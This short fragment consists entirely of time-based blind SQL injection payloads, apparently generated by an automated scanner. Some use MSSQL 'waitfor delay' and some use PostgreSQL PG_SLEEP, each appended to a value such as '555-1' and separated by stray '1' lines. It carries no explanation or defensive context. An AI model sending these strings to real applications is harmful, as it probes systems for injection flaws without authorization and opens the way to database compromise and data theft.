555-1); waitfor delay '0:0:15' --

1

555-1 waitfor delay '0:0:15' --

1

555p7aLF4K4'; waitfor delay '0:0:15' --

1

555-1 OR 998=(SELECT 998 FROM PG_SLEEP(15))--

1

1

555-1) OR 534=(SELECT 534 FROM PG_SLEEP(15))--